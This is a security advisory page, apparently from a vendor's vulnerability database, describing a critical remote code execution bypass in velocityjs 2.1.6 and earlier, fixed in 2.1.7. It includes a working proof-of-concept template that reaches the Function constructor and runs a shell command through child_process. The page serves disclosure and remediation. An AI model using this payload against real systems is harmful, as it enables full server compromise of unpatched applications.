GHSA-7GFH-X38P-PRH3

GHSA-7GFH-X38P-PRH3 is a critical-severity code injection vulnerability in velocityjs (npm), affecting versions <= 2.1.6. It is fixed in 2.1.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of GHSA-j658-c2gf-x6pq fix)

Remote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq ("Prototype Pollution in #set path assignment"), that advisory blocked constructor/proto/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.

Details

GHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks proto, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value, it validates the assignment target path, not the value expression being evaluated.
The value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering:
// references.cjs:81-91
getAttributes(property, baseRef, ast) {
if (property.type === "property") {
return baseRef[property.id]; // ← NO BLOCK on "constructor", "prototype", etc.
}
...
}
Meanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target:
// set.cjs:35-43
isBlockedPathKey(baseRef, key, isEnd) {
if (key === PROTO_KEY) return true; // "proto"
if (key === "prototype" && typeof baseRef === "function") return true;
return !isEnd && PROTOTYPE_CHAIN_KEYS.has(key) && !hasOwnProperty(baseRef, key);
}
The exploit chain:

  1. $x.constructor → getAttributes() → {}["constructor"] → Object
  2. .constructor → getAttributes() → Object["constructor"] → Function
  3. ("return process.mainModule.require('child_process').execSync('whoami')") → calls Function(...) → creates a function
  4. The #set assigns the result to $f, which is then rendered as $r
    The #set handler validates $f as the assignment target (which passes, f is not blocked), but never inspects the right-hand expression for prototype chain traversal.

PoC

const velocity = require('velocityjs');

const template = "#set($f=$x.constructor.constructor("return process.mainModule.require('child_process').execSync('whoami').toString()"))#set($r=$f())$r";

console.log(velocity.render(template, { x: {} }));
// Output:
Verified on velocityjs v2.1.6, Node.js v24.15.0, Windows.

Type: Remote Code Execution (RCE)

Any application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources.
The existing advisory GHSA-j658-c2gf-x6pq established the threat model: "any app rendering attacker-controlled templates." This finding demonstrates that the fix was incomplete, the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).

Impact

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

GHSA-7GFH-X38P-PRH3 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.7); upgrading removes the vulnerable code path.

Affected versions

velocityjs (<= 2.1.6)

Security releases

velocityjs → 2.1.7 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed in velocityjs 2.1.7. The fix was merged in pull request #192 and released as v2.1.7. Users should upgrade to version 2.1.7 or later.

Frequently Asked Questions

  1. What is GHSA-7GFH-X38P-PRH3? GHSA-7GFH-X38P-PRH3 is a critical-severity code injection vulnerability in velocityjs (npm), affecting versions <= 2.1.6. It is fixed in 2.1.7. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is GHSA-7GFH-X38P-PRH3? GHSA-7GFH-X38P-PRH3 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of velocityjs are affected by GHSA-7GFH-X38P-PRH3? velocityjs (npm) versions <= 2.1.6 is affected.
  4. Is there a fix for GHSA-7GFH-X38P-PRH3? Yes. GHSA-7GFH-X38P-PRH3 is fixed in 2.1.7. Upgrade to this version or later.
  5. Is GHSA-7GFH-X38P-PRH3 exploitable, and should I be worried? Whether GHSA-7GFH-X38P-PRH3 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-7GFH-X38P-PRH3 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-7GFH-X38P-PRH3? Upgrade velocityjs to 2.1.7 or later.

Other vulnerabilities in velocityjs

Stop the waste.
Protect your environment with Kodem.